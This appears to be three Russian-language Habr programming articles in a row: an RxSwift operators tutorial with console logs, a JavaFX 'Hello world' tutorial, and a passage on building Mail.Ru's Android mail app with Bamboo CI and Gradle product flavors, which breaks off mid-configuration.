2016-04-12 21:35:36.132: sequence -> Event Next(3)
2016-04-12 21:35:37.132: sequence -> Event Next(4)
```
Как видно, хоть подписка была произведена в разное время, пока не вызвали команду connect — генерация элементов не началась. Зато благодаря команде debug видно, что даже после того как все отписались — последовательность продолжила генерировать элементы
---
### [refCount](http://reactivex.io/documentation/operators/refcount.html)
Позволяет создать обычный Observable из Connectable. После первого вызова subscribe к этому обычному Observable — происходит подписка Connectable на SO.
Получается что то вроде
publishSequence = SO.publish()
refCountSequence = publishSequence.refCount()
SO будет продолжать генерировать элементы до тех пор, пока есть хотя бы один подписанный на refCountSequence. Как только все подписки на refCountSequence аннулируются, — происходит отписка и publishSequence от SO
```
example("with refCount") {
let sequence = Observable.interval(1, scheduler: MainScheduler.instance).debug("sequence")
let publishSequence = sequence.publish() // создаем Connectable Observable
let refCountSequence = publishSequence.refCount().debug("refCountSequence")
let subscription1 = refCountSequence.subscribe{ e in
print("first: \(e)")
}
let subscription2 = refCountSequence.subscribe{ e in
print("second: \(e)")
}
delay(2) {
subscription1.dispose() // отписываемся в первый раз
}
delay(3) {
subscription2.dispose() // здесь мы отписываемся во второй, больше подписок на Observable созданный с помощью refCount нет. Поэтому этот Observable отпсиывается от SO
}
delay(5) {
\_ = refCountSequence.subscribe { e in
print("after: \(e)")
}
}
}
```
Консоль:
```
--- with refCount example ---
2016-04-12 20:25:24.154: refCountSequence -> subscribed // подписались на refCountSequence в 1й раз
2016-04-12 20:25:24.155: sequence -> subscribed // после этого publishSequence подписался на SO
2016-04-12 20:25:24.156: refCountSequence -> subscribed // // подписались на refCountSequence во 2й раз
2016-04-12 20:25:25.156: sequence -> Event Next(0)
2016-04-12 20:25:25.156: refCountSequence -> Event Next(0)
first: Next(0)
2016-04-12 20:25:25.156: refCountSequence -> Event Next(0)
second: Next(0)
2016-04-12 20:25:26.156: sequence -> Event Next(1)
2016-04-12 20:25:26.156: refCountSequence -> Event Next(1)
first: Next(1)
2016-04-12 20:25:26.157: refCountSequence -> Event Next(1)
second: Next(1)
2016-04-12 20:25:26.353: refCountSequence -> disposed // отписались от refCountSequence в 1й раз
2016-04-12 20:25:27.156: sequence -> Event Next(2) // SO продолжает генерировать элементы, т.к. есть еще одна подписка на refCountSequence
2016-04-12 20:25:27.157: refCountSequence -> Event Next(2)
second: Next(2)
2016-04-12 20:25:27.390: refCountSequence -> disposed // отписались от refCountSequence во 2й раз
2016-04-12 20:25:27.390: sequence -> disposed // подписок на refCountSequence больше н еосталось, поэтому publishSequence отписался на SO
2016-04-12 20:25:29.157: refCountSequence -> subscribed // подписались на refCountSequence снова
2016-04-12 20:25:29.157: sequence -> subscribed // т.к. это первая подписка - publishSequence заново подписался на SO
2016-04-12 20:25:30.158: sequence -> Event Next(0)
2016-04-12 20:25:30.159: refCountSequence -> Event Next(0)
after: Next(0)
2016-04-12 20:25:31.158: sequence -> Event Next(1)
2016-04-12 20:25:31.159: refCountSequence -> Event Next(1)
after: Next(1)
2016-04-12 20:25:32.159: sequence -> Event Next(2)
2016-04-12 20:25:32.159: refCountSequence -> Event Next(2)
after: Next(2)
....
далее бесконечно генерируются элементы
```
---
### [replay](http://reactivex.io/documentation/operators/replay.html)
Если SO обычный, — конвертирует его в Connectable. И после этого все кто подпишутся на него после вызова connect() — мгновенно получат в качестве первых элементов последние генерированные N элементов. Даже если отпишутся все, — Connectable будет продолжать генерировать элементы
```
example("replay") {
let firstSequence = Observable.interval(1, scheduler: MainScheduler.instance).replay(2)
let firstDisposable = firstSequence.subscribe { e in
print("first: \(e)")
}
firstSequence.connect()
var secondDisposable: Disposable!
delay(3) {
secondDisposable = firstSequence.subscribe { e in
print("second: \(e)")
}
}
delay(4) {
firstDisposable.dispose()
}
delay(5) {
secondDisposable.dispose()
}
delay(7) {
firstSequence.subscribe { e in
print("third: \(e)")
}
}
}
```
Консоль:
```
--- replay example ---
first: Next(0)
first: Next(1)
first: Next(2)
second: Next(1)
second: Next(2)
first: Next(3) // после генерации этого элемента мы отписываемся во 1й раз
second: Next(3)
second: Next(4) //после генерации этого элемента мы отписываемся во 2й раз, но SO продолжает генерировать элементы
//тут мы после задержки подписываемся в третий раз
third: Next(5)
third: Next(6)
```
---
### [replayAll](http://reactivex.io/documentation/operators/replay.html)
Если SO обычный, — конвертирует его в Connectable. Все кто подпишутся на него после вызова connect() — получат сначала все элементы, которые были генерированы ранее. Даже если отпишутся все, — Connectable будет продолжать генерировать элементы
```
example("replayAll") {
let firstSequence = Observable.interval(1, scheduler: MainScheduler.instance).replayAll()
let firstDisposable = firstSequence.subscribe { e in
print("first: \(e)")
}
firstSequence.connect()
var secondDisposable: Disposable!
delay(3) {
secondDisposable = firstSequence.subscribe { e in
print("second: \(e)")
}
}
delay(4) {
firstDisposable.dispose()
}
delay(5) {
secondDisposable.dispose()
}
delay(7) {
firstSequence.subscribe { e in
print("third: \(e)")
}
}
}
```
Консоль:
```
--- replayAll example ---
first: Next(0)
first: Next(1)
first: Next(2)
second: Next(0)
second: Next(1)
second: Next(2)
first: Next(3) // после генерации этого элемента мы отписываемся во 1й раз
second: Next(3)
second: Next(4)
//после генерации этого элемента мы отписываемся во 2й раз, но SO продолжает генерировать элементы
//тут мы после задержки подписываемся в третий раз
third: Next(0)
third: Next(1)
third: Next(2)
third: Next(3)
third: Next(4)
third: Next(5)
third: Next(6)
third: Next(7)
```
Вспомогательные методы
======================
---
### debug
RO полностью дублирует SO, но логируются все события с временной меткой
```
example("debug") {
let sequence = Observable.of(1, 2, 3)
.debug("sequence")
.subscribe{}
}
```
Консоль:
```
--- debug example ---
2016-04-12 21:41:08.467: sequence -> subscribed
2016-04-12 21:41:08.469: sequence -> Event Next(1)
2016-04-12 21:41:08.469: sequence -> Event Next(2)
2016-04-12 21:41:08.469: sequence -> Event Next(3)
2016-04-12 21:41:08.469: sequence -> Event Completed
```
---
### [do / doOnNext](http://reactivex.io/documentation/operators/do.html)
RO полностью дублирует SO, но мы встраиваем перехватчик всех событий из жизненного цикла SO
```
example("simple doOn") {
let firstSequence = Observable.of(1,2).doOn{e in
print(e)
}
firstSequence.subscribeNext{ e in // замечу что логирование производится не в методе subscribe, как обычно, а в doOn
}
}
```
Консоль:
```
--- simple doOn example ---
Next(1)
Next(2)
Completed
```
---
### [delaySubscription](http://reactivex.io/documentation/operators/delay.html)
Дублирует элементы из SO в RO, но с временной задержкой указанной в качестве параметра
```
example("delaySubscription") {
let sequence = Observable.of(1, 2, 3).debug("sequence")
.delaySubscription(3, scheduler: MainScheduler.instance).debug("delayed sequence")
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- delaySubscription example ---
2016-04-12 21:44:05.226: delayed sequence -> subscribed // подписка на delayed sequence произошла в 5 секунд
2016-04-12 21:44:08.228: sequence -> subscribed // а подписка на SO произошла только через указанных 3 секунды
2016-04-12 21:44:08.229: sequence -> Event Next(1)
2016-04-12 21:44:08.229: delayed sequence -> Event Next(1)
Next(1)
2016-04-12 21:44:08.229: sequence -> Event Next(2)
2016-04-12 21:44:08.229: delayed sequence -> Event Next(2)
Next(2)
2016-04-12 21:44:08.229: sequence -> Event Next(3)
2016-04-12 21:44:08.229: delayed sequence -> Event Next(3)
Next(3)
2016-04-12 21:44:08.230: sequence -> Event Completed
2016-04-12 21:44:08.230: delayed sequence -> Event Completed
Completed
2016-04-12 21:44:08.230: sequence -> disposed
```
---
### [observeOn](http://reactivex.io/documentation/operators/observeon.html)
Указывает на каком Scheduler выполнять свою работу Observer, особенно критично при работе с GUI
```
example("without observeOn") {
let sequence = Observable.of(1, 2, 3)
sequence.subscribe { e in
print("\(NSThread.currentThread())\(e)")
}
}
example("with observeOn") {
let queue = dispatch\_get\_global\_queue(DISPATCH\_QUEUE\_PRIORITY\_DEFAULT, 0)
let sequence = Observable.of(1, 2, 3)
sequence.observeOn(ConcurrentDispatchQueueScheduler.init(queue: queue))
.subscribe { e in
print("\(NSThread.currentThread())\(e)")
}
}
```
Консоль:
```
--- without observeOn example ---
{number = 1, name = main}Next(1)
{number = 1, name = main}Next(2)
{number = 1, name = main}Next(3)
{number = 1, name = main}Completed
--- with observeOn example ---
{number = 3, name = (null)}Next(1)
{number = 3, name = (null)}Next(2)
{number = 3, name = (null)}Next(3)
{number = 3, name = (null)}Completed
```
Как видно, благодаря observeOn мы смогли выполнить код внутри subscribe на другом потоке
---
### [subscribe](http://reactivex.io/documentation/operators/subscribe.html)
Оператор, связывающий Observable с Observer, позволяет подписаться на все события из Observable
```
example("subscribe") {
let firstSequence = Observable.of(1)
firstSequence.subscribe { e in
print(e)
}
firstSequence.subscribeCompleted {
print("!completed")
}
firstSequence.subscribeNext{next in
print("next: \(next)")
}
}
example("subscribeNext") {
let firstSequence = Observable.of(1)
firstSequence.subscribeNext{next in
print("next: \(next)")
}
}
example("subscribeCompleted") {
let firstSequence = Observable.of(1)
firstSequence.subscribeCompleted {
print("!completed")
}
}
example("subscribeError") {
let firstSequence = Observable.error(RxError.ArgumentOutOfRange)
firstSequence.subscribeError {e in
print("!error \(e)")
}
}
```
Консоль:
```
--- subscribe example ---
Next(1)
Completed
!completed
next: 1
--- subscribeNext example ---
next: 1
--- subscribeCompleted example ---
!completed
--- subscribeError example ---
!error Argument out of range.
```
Продемонстрированы 4 формы: subscribe, subscribeNext, subscribeCompleted, subscribeError
---
### [subscribeOn](http://reactivex.io/documentation/operators/subscribeon.html)
Указывает на каком Scheduler выполнять свою работу Observable, особенно критично при работе с GUI
```
example("with subscribeOn and observeOn") {
let queue1 = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)
let queue2 = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)
print("init thread: \(NSThread.currentThread())")
let sequence = Observable.create { observer in
print("observable thread: \(NSThread.currentThread())")
observer.on(.Next(1))
observer.on(.Next(2))
observer.on(.Next(3))
observer.on(.Completed)
return NopDisposable.instance
}
.subscribeOn(SerialDispatchQueueScheduler(internalSerialQueueName: "queue1"))
.observeOn(SerialDispatchQueueScheduler(internalSerialQueueName: "queue2"))
sequence.subscribe { e in
print("observer thread: \(NSThread.currentThread()) \(e)")
}
}
```
Консоль:
```
--- with subscribeOn and observeOn example ---
init thread: {number = 1, name = main} // изначально мы были на потоке #1
observable thread: {number = 4, name = (null)} // за счет subscribeOn код внутри Observable выполняется на потоке #4 а не #1
observer thread: {number = 5, name = (null)} Next(1) // а код observer'а выполняется и не в 1м и не в 4м, а в других за счет observeOn. Если бы мы не указали observeOn, номер потока был такой же как после subscribeOn #4
observer thread: {number = 5, name = (null)} Next(2)
observer thread: {number = 3, name = (null)} Next(3)
observer thread: {number = 3, name = (null)} Completed
```
---
### [timeout](http://reactivex.io/documentation/operators/timeout.html)
Дублирует элементы из SO в RO, но если в течении указанного времени SO не сгенерировало ни одного элемента — RO генерирует ошибку
```
example("failed timeout ") {
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }
let timeoutSequence = sequence.timeout(0.9, scheduler: MainScheduler.instance)
timeoutSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- failed timeout example ---
Next(1)
Error(Sequence timeout.)
```
---
### [using](http://reactivex.io/documentation/operators/using.html)
Позволяет проинструктировать Observable создать ресурс, который будет жить лишь пока жив RO, в качестве параметров передаются 2 фабрики, одна генерирует ресурс, вторая — Observable, у которых будет единое время жизни
```
class FakeDisposable: Disposable {
func dispose() {
print("disposed")
}
}
example("using") {
let sequence = Observable.using({
return FakeDisposable()
}, observableFactory: { d in
Observable.just(1)
}) as Observable
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- using example ---
Next(1)
Completed
disposed
```
Как видно, после того как Observable закончил генерировать элементы, у нашего ресурса FakeDisposable был вызван метод dispose | https://habr.com/ru/post/281292/ | null | ru | null |
# Учебник по JavaFX: Привет, мир
Перевод статьи «[JavaFX Tutorial: Hello world](https://www.vojtechruzicka.com/javafx-hello-world/)» автора Vojtech Ruzicka.
Как создать ваше первое приложение JavaFX.
Это второй пост в серии о JavaFX. Вы можете прочитать в первой статье о том, как настроить вашу среду для разработки JavaFx.
Все посты в серии о JavaFX:
1. [Учебник по JavaFX: начало работы](https://habr.com/ru/post/474292/)
2. Учебник по JavaFX: Привет, мир!
3. [Учебник по JavaFX: FXML и SceneBuilder](https://habr.com/ru/post/474982/)
4. [Учебник по JavaFX: основные макеты](https://habr.com/ru/post/475882/)
5. [Учебник по JavaFX: расширенные макеты](https://habr.com/ru/post/477408/)
6. [Учебник по JavaFX: CSS стилизация](https://habr.com/ru/post/477924/)
7. [JavaFX Weaver: интеграция JavaFX и Spring Boot приложения](https://habr.com/ru/post/478402/)
### Структура приложения
Каждое приложение состоит из иерархии нескольких основных компонентов: Stages (окна), (сцены) и nodes (узлы). Давайте рассмотрим каждую из них.
### Stage
Stage по существу представляет собой окно. Ваше приложение может иметь несколько компонент stage, но как минимум одна должна быть обязательно.
### Scene
Scene отображает содержание сцены (stage). Каждая компонента stage может содержать несколько компонент scene, которые можно переключать. Представьте себе театральные подмостки, на которых сменяются несколько сцен во время спектакля.
### Node
Каждая компонента stage может содержать различные компоненты, называемые узлами (node). Узлы могут быть элементами управления, такими как кнопки или метки, или даже макетами (layout), которые могут содержать несколько вложенных компонентов. Каждая сцена (scene) может иметь один вложенный узел (node), но это может быть макет (layout), который может содержать несколько компонентов. Вложенность может быть многоуровневой — макеты могут содержать другие макеты и обычные компоненты.
### Резюме
Каждое приложение может иметь несколько окон (Stage). Каждая компонента Stage может переключать несколько Scene (сцен). Сцены содержат узлы (node) — макеты и обычные компоненты.
Эту иерархию можно визуализировать следующим образом:
Теперь давайте посмотрим на конкретный пример — реальное приложение.
### Класс Application
Время начать программировать. Если вы следовали [предыдущей статье](https://habr.com/ru/post/474292/), у вас уже готовы все необходимые зависимости.
Каждое приложение JavaFX должно иметь класс main, который расширяет класс:
```
javafx.application.Application
```
Кроме того, необходимо переопределить абстрактный метод из класса Application:
```
public void start(Stage primaryStage) throws Exception
```
Касс main выглядит примерно так:
```
import javafx.application.Application;
import javafx.stage.Stage;
public class Main extends Application {
@Override
public void start(Stage primaryStage) throws Exception {
// TODO implement me!
}
}
```
### Метод main
Для запуска JavaFx приложения не обязательно нужен метод main(). Вы можете упаковать исполняемый файл jar, используя [JavaFX Packager Tool](https://docs.oracle.com/javafx/2/deployment/packager.htm). Однако гораздо удобнее иметь метод main.
При этом приложение не только легче запустить, но в него можно как обычно передавать параметры командной строки.
Внутри метода main() приложение можно запустить используя метод:
```
Application.launch()
```
Легко заметить, что это статический метод в классе Application. Мы не указали основной класс, но JavaFX может определить это автоматически в зависимости от класса, который вызывает этот метод.
### Настройка Stage
Теперь мы знаем как запустить наше приложение, используя метод main(). Тем не менее, ничего не произойдет, если мы сделаем это. Нужно окно, которое мы хотим показать. Окно называется stage, помните? На самом деле, у нас уже есть первичная stage, переданная в метод start в качестве входного параметра:
```
public void start (Stage primaryStage)
```
Мы можем использовать эту компоненту stage. Единственная проблема в том, что она скрыта по умолчанию. К счастью, мы можем легко показать ее, используя метод primaryStage.show():
```
@Override
public void start(Stage primaryStage) throws Exception {
primaryStage.show();
}
```
Теперь, когда вы запустите приложение, вы должны увидеть следующее окно:
Не очень впечатляет, правда? Во-первых, давайте добавим хорошую подпись к нашему окну.
```
primaryStage.setTitle("Hello world Application");
```
Чтобы окно выглядело еще лучше, давайте добавим красивую иконку в верхнюю панель окна:
```
InputStream iconStream = getClass().getResourceAsStream("/icon.png");
Image image = new Image(iconStream);
primaryStage.getIcons().add(image);
```
Вы можете добавить несколько иконок, представляющих приложение. Точнее одну и ту же иконку разных размеров. Это позволит использовать иконку походящего размера в зависимости от контекста приложения.
Теперь можно настроить свойства и поведение объекта Stage, например:
* Установить положение с помощью setX() и setY()
* Установить начальный размер с помощью setWidth() и setHeight()
* Ограничить максимальные размеры окна с помощью setMaxHeight() и setMaxWidth() или отключить изменение размера с помощью setResizable(false)
* Установить режим окно всегда сверху, используя setAlwaysOnTop()
* Установить полноэкранный режим, используя setFullScreen()
* [И многое другое](https://openjfx.io/javadoc/11/javafx.graphics/javafx/stage/Stage.html)
Теперь у нас есть окно с таким фантастическим названием, но оно все еще пустое. Вы уже знаете, что нельзя добавлять компоненты непосредственно в Stage (окно). Вам нужна сцена (scene).
Однако для запуска конструктора сцены требуется указать дочерний узел. Давайте сначала создадим простую метку (label). Затем мы создаем сцену (scene) этой меткой (label) в качестве дочернего узла.
```
Label helloWorldLabel = new Label("Hello world!");
Scene primaryScene = new Scene(helloWorldLabel);
```
Вы заметили, что Scene допускает только один дочерний компонент. Что если нам нужно больше? Необходимо использовать layout (макет), который является компонентом, который может включать несколько дочерних элементов и размещать их на экране в зависимости от используемого layout (макета). Мы рассмотрим макеты позже в этой серии статей.
Чтобы сделать приложение немного более визуально привлекательным, давайте разместим метку в центре экрана.
```
helloWorldLabel.setAlignment(Pos.CENTER);
```
Наконец, нам нужно установить Scene для Stage, которая у нас уже есть:
```
@Override
public void start(Stage primaryStage) throws Exception {
primaryStage.setTitle("Hello world Application");
primaryStage.setWidth(300);
primaryStage.setHeight(200);
InputStream iconStream = getClass().getResourceAsStream("/icon.png");
Image image = new Image(iconStream);
primaryStage.getIcons().add(image);
Label helloWorldLabel = new Label("Hello world!");
helloWorldLabel.setAlignment(Pos.CENTER);
Scene primaryScene = new Scene(helloWorldLabel);
primaryStage.setScene(primaryScene);
primaryStage.show();
}
```
Теперь наше окно содержит сцену с компонентом метка (label):
### Что дальше
На следующем шаге этой серии мы рассмотрим, как реализовать наш графический интерфейс на XML, а не на Java. | https://habr.com/ru/post/474498/ | null | ru | null |
# Немного о сборке мобильного приложения
Я помню то замечательное время, когда сборка релизной версии мобильного приложения сводилась к тому, что нужно было выставить debug = false и запустить экспорт apk-файла. Проходит 2 минуты, пока пыхтит IDE, и все готово. Все усилия сосредотачивались на необходимости указать данные сертификата подписи. Это было совсем недавно. Cейчас процесс сборки того самого приложения разросся настолько, что, если мне, вдруг, потребуется выполнить все операции самостоятельно, и даже если я все вспомню и проделаю безошибочно (во что я не верю), то это займет не час, который сегодня кажется непозволительно долгим, а, скорее всего, сутки, после чего терапевт обязан будет прописать мне больничный по усталости недели на две.
Итак, процесс сборки мобильного приложения. Попробую рассказать, из чего он у нас состоит — не потому, что в последнее время стало модным катать посты о CI той или иной мобильной команды (с покером, русалками и прочими обязательными атрибутами), а потому, что это отличный опыт, который я получил, работая над Почтой Mail.Ru для Android, и потому, что этой возможности, вероятнее всего, не было бы, работай я в другой команде, над другим проектом или в другой компании.
Для любого процесса важным решением является выбор системы, на базе которой будет строиться вся сборка. Билдами должен заниматься билд-сервер. Это логично. Но какой выбрать?
Вопрос неоднозначный, каждый выбирает то или иное решение, основываясь на своем опыте, на задачах, которые стоят перед системой, и на ресурсах, которыми он располагает. Кому-то нравятся бесплатные решения, потому что не нужно объяснять своему руководителю, на что тебе потребовались $N000 в год и почему нельзя без этого обойтись. Кого-то мотивирует наличие community или опыт огромного числа команд, которые этими решениями уже воспользовались и довольны результатом. Количество точек зрения стремится к количеству людей, которые задавались этим вопросом. Я не могу сказать, что чей-то аргумент верный, или чье-то возражение несущественно. Зато, каких бы взглядов ни придерживался разработчик, столкнувшийся с такой проблемой, большинство согласится, что по большому счету все популярные решения, представленные на рынке, отличаются лишь удобством настройки, интеграцией со смежными системами, возможностями расширения и поддержкой со стороны community либо разработчиков системы.
В общем, выбор билд-сервера — это тема для отдельного холивара. Скажу лишь, что мы выбрали Atlassian’овское решение Bamboo Build Server. Основных причин несколько, одна из них — простота интеграции с issue tracker’ом, который мы используем в проекте, а также с системами code review и хостинга репозиториев. В этом ребята молодцы: все удобно, все под рукой, и, что самое важное, практически все предусмотренные решения и опции отлично вписываются в процесс разработки нашей команды
Bamboo
======
Bamboo — весьма распространенное решение, его использует огромное количество команд во всем мире. Подробно со схемой работы этого CI/CD Tool можно ознакомиться на сайте официальной документации, я же позволю себе вольный перевод небольшой части этого документа во избежание разночтений в терминологии.
Задача Continuous Integration сервера заключается в том, чтобы выполнить всю работу по сборке, тестированию, деплою в тестовую среду проекта. CI сервер связывается с репозиторием, получает определенную ревизию проекта, выполняет все необходимые действия и предоставляет готовый результат сборки команде проекта.
| | |
| --- | --- |
| Проект | * состоит из одного или нескольких билд-планов
* предоставляет отчет по всем билд-планам проекта
* связан с другими приложениями (Jira, Fisheye, Crucible, Stash)
|
| Билд-план
(Plan) | * состоит из одной или нескольких стадий (stage)
* все стадии запускаются последовательно, используют те же репозитории
* содержит правила запуска билдов, зависимости от других билд-планов проекта
|
| Стадия
(Stage) | * состоит из одной или нескольких работ
* выполняет работы параллельно, на свободных билд-агентахсчитается завершенной, когда все работы выполнены успешно
* передает артефакты для последующих стадий сборки.
|
| Работа
(Job) | * состоит из одной или нескольких задач
* все задачи внутри выполняются последовательно на одном и том же агенте
|
| Задача
(Task) | * дискретная операция, такая как чекаут ревизии проекта, запуск скрипта и т.д.
|
Более или менее схожее разделение доступно в любой системе сборки, оно обеспечивает необходимую гибкость в построении всего процесса. На первый взгляд кажется, что это чрезмерное усложнение. Так было и с нашим проектом, когда мы только начали использовать Bamboo, но постепенно все устаканилось, появилось четкое понимание того, какая часть всего процесса сборки должна быть масштабирована, какая должна оставаться изолированной, и в рамках предложенных концепций сложилась достаточно стройная структура.
В целом, нужно хорошо понимать, что билд-сервер или CI-сервер — это важная часть автоматизации процесса разработки ПО. Возлагая на этот модуль все задачи и работы, которые необходимо проделать на разных этапах и уровнях подготовки приложения к релизу в маркет, мы получаем своеобразный Application Release Pipeline. Он, в свою очередь, дает возможность легко определить, какие задачи вошли в тот или иной билд, на каком этапе сейчас релиз, какие проблемы возникают при интеграции нового функционала, на какой стадии подготовки hotfix’a мы сейчас находимся и многое другое.
Итак, мы плавно подошли к описанию того, как это сделано в нашей команде.
Задачи
======
Наш проект сборки разделен на несколько стадий, отражающих основные задачи на текущий момент:
* Сборка — включает в себя все варианты сборки, которые могут понадобиться по ходу Release pipeline: alpha, beta, release. Да-да, у нас отличаются именно сборки проекта, а не только их статус. Различия продуктовые: различные ресурсы, наличие или отсутствие настроек и т.д.
* Проверка — самая емкая и технически сложная часть всего этапа сборки приложения: статический анализ кода, юнит-тестирование, функциональное UI-тестирование, проверка локализации.
* Деплой. В настоящий момент абстрагированн от всей сборки, он как бы находится сбоку. Таким образом, в случае необходимости мы можем задеплоить в любую среду (альфа, бета, релиз) какую угодно ревизию/ветку/тип приложения.
На этом, в принципе, можно и закончить рассказ, но я, пожалуй, проявлю назойливость и предоставлю подробности.
Сборка
======
Сейчас мы разрабатываем сразу три проекта с единой code base, назовем их Проект 1, Проект 2 и Проект 3. Конечно, различия между ними не такие радикальные, как между шахматами и видеоплеером, так как все три продукта относятся к категории почтовых клиентов. Тем не менее, у них разный дизайн, есть отличия в функционале, они по-разному взаимодействуют с сервером. Все это диктует свои требования к сборке, тестированию и разработке продукта.
### Feature Branch Workflow
Любая сборка начинается с чекаута ревизии проекта из системы контроля версий. Казалось бы, зачем на этом заострять внимание — ведь чекаут может сделать каждый? Действительно. Но из какой ветки стоит это сделать?
Мы для работы над продуктом используем Feature Branch Workflow. Об этом подходе [можно почитать](https://ru.atlassian.com/git/tutorials/comparing-workflows/feature-branch-workflow) отдельно. Главное его преимущество для меня — изолированность изменений. При таком подходе каждый разработчик может в рамках задачи перевернуть хоть весь проект, отдать это в тестирование, и если QA даст аппрув, то проверенный и функционирующий код попадет в общую ветку. Данный подход минимизирует риски попадания дефекта в релиз, за счет того, что определена последовательность действий: сначала проверка, потом мердж в основную ветку проекта.
Чтобы проверить эти изолированные изменения, у нас должна быть сборка, на которой мы сможем прогнать автотесты, и которую мы отдадим в ручное тестирование на одобрение от команды QA. Bamboo предоставляет из коробки необходимое для этого решение. Называется оно Branch Plan и заключается в том, что у билда определяется главная ветка (например, alpha), а все ветки, которые матчатся по указанному шаблону, рассматриваются как feature branch. Для них создается клон билд-плана, но с той разницей, что чекаут будет происходить из этой ветки, а не из главной ветки билд-плана. Выглядит это примерно так.
В просмотре билд-плана мы можем переключаться между основной веткой и существующими бранчами, просматривая результаты всех локальных статусов.
Сам branch plan выглядит так же, за исключением того, что имеет ссылку на задачу.
С таким флоу ветка неизбежно начинает устаревать с того момента, как ее создали. Для раннего обнаружения конфликтов с основной веткой, чтобы тестировался актуализированный код, нужно постоянно обновлять свою ветку во время разработки. Bamboo умеет это делать автоматически перед тем, как начнет собирать проект. В случае конфликта сборка не испечется, а разработчик должен будет сначала проапдейтить свою ветку и потом уже пушнуть эти изменения. Тогда перед сборкой конфликта не будет, и все пойдет своим чередом.
Product Flavors
===============
Допустим, у нас есть проект, который нужно собирать в нескольких вариациях, изменяя ресурсы, код и конфиги. Существует несколько вариантов того, как это реализовать. Мы руководствовались тем, что все условия сборки, все конфигурации и прочая описательная часть должны находиться в скрипте сборки. В нашем случае для решения этой задачи идеально подходит [Gradle](https://gradle.org/). Для него есть хороший Android-плагин, который позволяет гибко настраивать большинство стандартных и нестандартных параметров для сборки сложного проекта.
Давайте разберемся, сколько вариантов сборки мы активно используем и поддерживаем.
  
Начнем с того что у нас три основных Product Flavors: Проект 1, Проект 2 и Проект 3.
Product Flavor — это представление ветки продукта. В большинстве случаев это разные приложения, которые имеют разные пакеты, разные сертификаты подписи, разные исходники и ресурсы. Для каждого приложения у нас есть несколько вариантов сборки, а именно:
* **debug** — подписывается дебажным ключом, может отлаживаться, не обфусцируется;
* **alpha/branch alpha** — обфусцированная сборка, отличается конфигами для аналитики, сборками крешей, ресурсами, дебажными настройками, доступными в приложении;
* **beta corp** — бета-версия, которая имеет включенные логи, доступный отладочный режим;
* **beta** — максимально приближенная к релизу сборка, которая отличается аналитикой, сборкой крешей, имеет выключенные логи, отладочный режим и не имеет дебажных настроек;
* **release** — продакшн-версия приложения, практически все дополнительные опции выключены, аналитика и сбор статистики настроены на боевые проекты в этих системах и т.д.;
* **unit/UI testing** — сборки, которые имеют перезаписанные манифесты, что позволяет, например, включить разрешения на чтение SMS, необходимых для автоматизированного тестирования входа (авторизация, регистрация, двухфакторная авторизация) с использованием SMS-кода.
Итого:
8 Build Types \* 3 Product Flavors = 24 Application Variants
Зачем столько? Попробую ответить. Одна из типичных задач, которую приходится решать, имея три разных продукта, которые публикуются в разные среды, — разделять аналитику. И делать это необходимо, иначе статистика из альфа-версии приложения будет искажать существующую в продакшне картину. Для сбора статистики по крешам мы используем [HockeyApp](https://rink.hockeyapp.net/). В нем у нас раздельные проекты по разным вариантам сборки. Это позволяет легко отделять, например, креши Проекта 1 от крешей Проекта 2, бета-версию от релизной версии и т.д.
В build.gradle нашего проекта этот конфиг выглядит следующим образом.
```
productFlavors {
project1 {
...
android.buildTypes {
alpha {
hockeyApp {
[appId: 'b45-------1b', note: project.issues, releaseType: '2']
}
}
beta {
hockeyApp {
[appId: 'c9d-------86', note: {''}, releaseType: '0']
}
}
publicBeta {
...
}
release {
...
}
}
}
project2 {
...
android.buildTypes {
alpha {
hockeyApp {
[appId: '1ac-------73', note: project.issues, releaseType: '2']
}
}
...
}
}
project3 {
...
android.buildTypes {
alpha {
hockeyApp {
[appId: 'dcd-------3c', note: project.issues, releaseType: '2']
}
}
...
} }
```
Таким образом, мы можем конфигурировать различные значения для любых вариантов сборки. Что касается ресурсов и исходников, здесь используется примерно тот же принцип, за исключением одной особенности: есть возможность мерджить ресурсы из разных вариантов. В нашем проекте есть ресурсы, одинаковые для всех приложений — например, разметка экрана написания письма. Если бы такие файлы приходилось копировать в каждый пакет ресурсов и держать отдельно, то при изменении верстки экрана написания письма нужно было бы менять аж три файла. К счастью, gradle + android plugin умеют делать мердж ресурсов.
Расскажу чуть подробнее, как это происходит — возможно, кто-то сможет решить свои повседневные задачи, используя тот же подход.
Мы определили несколько папок с ресурсами (все они лежат в корне проекта).
* **res** — общие ресурсы для всех вариантов приложения: здесь лежат общие селекторы, разметки, темы, стили и т.д.;
* **res\_project1** — ресурсы, которые уникальны для Проекта 1: сюда попадает практически вся графика, которая используется в приложении, строки, которые содержат название проекта, специфичные логотипы или разметку — в общем, все, что относится только к Проекту 1;
* **res\_project23** — здесь немного другая картина: в пакет res**\_ project23** попадают все ресурсы, которые не пересекаются с Проектом, но одинаковы для Проекта 2 и Проекта 3. Подобная группировка ресурсов помогает решить проблему, когда продуктово Проекты 2 и 3 очень похожи между собой, при этом достаточно сильно отличаются от Проекта 1. В противном случае, пришлось бы копировать одни и те же ресурсы в папки res\_project2 и res\_project3;
* **res\_ project2** — ресурсы, уникальные для Проекта 2: на данный момент это цвета, графика, тексты. Все остальное лежит в общих пакетах;
* **res\_ project3** — аналогично для Проекта 3, в этом пакете остается только уникальная подборка ресурсов для этого приложения.
В результате для каждого билд-варианта мы мерджим несколько пакетов, чтобы получить общий набор ресурсов для приложения:
* Проект 1 = res + res\_project1;
* Проект 2 = res + res\_project23 + res\_ project2;
* Проект 3 = res + res\_project23 + res\_ project3.
Это основа. Для более глубокой кастомизации можно, например, добавить специфичные ресурсы, код для тестовой сборки и т.д. Весь closure с исходниками выглядит у нас примерно так:
```
sourceSets {
main {
manifest.srcFile 'AndroidManifest.xml'
java {
srcDir 'src'
exclude '**/instrumentTest/**'
}
resources.srcDirs = ['src']
aidl.srcDirs = ['src']
renderscript.srcDirs = ['src']
res.srcDirs = ['res']
assets.srcDirs = ['assets']
}
androidTest {
manifest.srcFile 'src/instrumentTest/AndroidManifest.xml'
java.srcDir 'src/instrumentTest/Java'
}
project2 {
res.srcDirs = ['res_project2', 'res_project23']
java.srcDirs = ['src_common']
assets.srcDirs=['assets_ project2]
manifest.srcFile 'res_ project23/AndroidManifest.xml'
}
project3 {
